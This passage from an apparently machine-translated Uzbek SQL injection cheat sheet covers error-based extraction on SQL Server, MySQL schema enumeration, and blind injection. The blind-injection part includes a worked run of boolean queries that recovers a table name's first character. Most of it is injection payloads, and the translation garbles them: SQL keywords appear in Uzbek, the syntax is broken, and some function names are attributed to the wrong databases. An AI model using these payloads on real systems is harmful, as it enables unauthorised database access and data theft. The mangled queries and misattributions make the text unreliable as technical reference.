28. SQL Server (S) da xatolarga asoslangan SQL in'ektsiyasidan ma'lumotlarni olishning tezkor usuli.
"; DECLARE BOSING @rt varchar (8000) SET @ rd \u003d": "SELECT @ rd \u003d @ rd +" "+ ismlar aylantirilgan ustunlardan Qaerda id \u003d (tanlangan ssobektlarni qaerdan tanlang \u003d" A'zolar ") Va ism\u003e @ TANLASH @ AS AS rd TMP_SYS_TMP oxiriga; -
29. MySQL (M) da ma'lumotlar bazasi tuzilishini qidirish
Misollar:
SELECT jadval_nomasi FROM information_schema.tables WHERE table_schema \u003d "tablename"
Shaxsiy jadvallarni olish
SELECT jadval_nomasi, ustun_nomasi FROM information_schema.columnlar WHERE jadval_schema \u003d "tablename"
Ustun nomlarini olish
30. Ko'r in'ektsiyalari
Sifatli dasturda siz xato xabarlarini ko'ra olmaysiz. Siz UNION operatoridan va Xatolarga asoslangan hujumlardan foydalana olmaysiz. Ma'lumot olish uchun siz ko'r-ko'rona SQL in'ektsiyalaridan foydalanishingiz kerak. Ko'r in'ektsiyasining ikki turi mavjud.
Doimiy ko'rni in'ektsiya qilish: sahifadagi so'rovlar natijalarini ko'rolmaysiz, ammo natijani javob yoki HTTP holatidan bilib olishingiz mumkin.
To'liq ko'r in'ektsiya: siz chiqishda hech qanday farq ko'rmaysiz.
Oddiy ko'r in'ektsiyalarida siz IF va WHERE operatorlaridan foydalanishingiz mumkin, mutlaqo ko'r in'ektsiyalarda ba'zi kutish funktsiyalaridan foydalanishingiz va javob vaqtini taqqoslashingiz kerak. Buning uchun SQL Serverda BENCHMARK () va Kutish (10) dan MySQL-da, PostgreSQL-da pg_sleep (10) dan KECHIRISH UCHUN '0: 0: 10' dan foydalanishingiz mumkin.
Misol:
Ushbu misol SQL Server-da ko'r in'ektsiyasini amalda ishlatishga asoslangan.
HAQIQAT: ID tanlang, foydalanuvchi nomi, elektron pochta qaerda ID \u003d 1 va ISNULL (ASCII (SUBSTRING ((sysObektlardan TOP TOP 1 nom. Qaerda xtYpe \u003d 0x55) VA NOM EMAS (SYERA TOP 0 nomini tanlab oling, qaerda xtYpe \u003d 0x55)), 1 , 1)), 0)\u003e 78--
FALSE: TANLANG ID, foydalanuvchi nomi, elektron pochta qaerda ID \u003d 1 va ISNULL (ASCII (SUBSTRING ((sysOBRETLARNING TOP 1 nomini tanlab oling) qaerda xtYpe \u003d 0x55 va NOM EMAYDI (tanlanmagan SYO'NGLARNING TOP 0 nomini tanlab oling, qaerda xtYpe \u003d 0x55)), 1 , 1)), 0)\u003e 103--
FALSE: TANLANG ID, foydalanuvchi nomi, elektron pochta qaerda ID \u003d 1 va ISNULL (ASCII (SUBSTRING ((sysOBRETLARNING TOP 1 nomini tanlab oling) qaerda xtYpe \u003d 0x55 va NOM EMAYDI (tanlanmagan SYO'NGLARNING TOP 0 nomini tanlab oling, qaerda xtYpe \u003d 0x55)), 1 , 1)), 0)\u003e 89--
FALSE: TANLANG ID, foydalanuvchi nomi, elektron pochta qaerda ID \u003d 1 va ISNULL (ASCII (SUBSTRING ((sysOBRETLARNING TOP 1 nomini tanlab oling) qaerda xtYpe \u003d 0x55 va NOM EMAYDI (tanlanmagan SYO'NGLARNING TOP 0 nomini tanlab oling, qaerda xtYpe \u003d 0x55)), 1 , 1)), 0)\u003e 83--
HAQIQAT: ID tanlang, foydalanuvchi nomi, elektron pochta qaerda ID \u003d 1 va ISNULL (ASCII (SUBSTRING ((sysObektlardan TOP TOP 1 nom. Qaerda xtYpe \u003d 0x55) VA NOM EMAS (SYERA TOP 0 nomini tanlab oling, qaerda xtYpe \u003d 0x55)), 1 , 1)), 0)\u003e 79--
FALSE: TANLANG ID, foydalanuvchi nomi, elektron pochta qaerda ID \u003d 1 va ISNULL (ASCII (SUBSTRING ((sysOBRETLARNING TOP 1 nomini tanlab oling) qaerda xtYpe \u003d 0x55 va NOM EMAYDI (tanlanmagan SYO'NGLARNING TOP 0 nomini tanlab oling, qaerda xtYpe \u003d 0x55)), 1 , 1)), 0)\u003e 80--
So'nggi ikkita so'rovlar asosida biz ascii-dagi birinchi belgining qiymatini aniq bilamiz - bu 80. Shunday qilib, birinchi belgi `P 'dir. Shunday qilib, biz jadvallarning nomlarini va ularning tarkibini bilib olamiz. Yana bir usul - ma'lumotlarni ozgina o'qish.
Do'stlaringiz bilan baham: |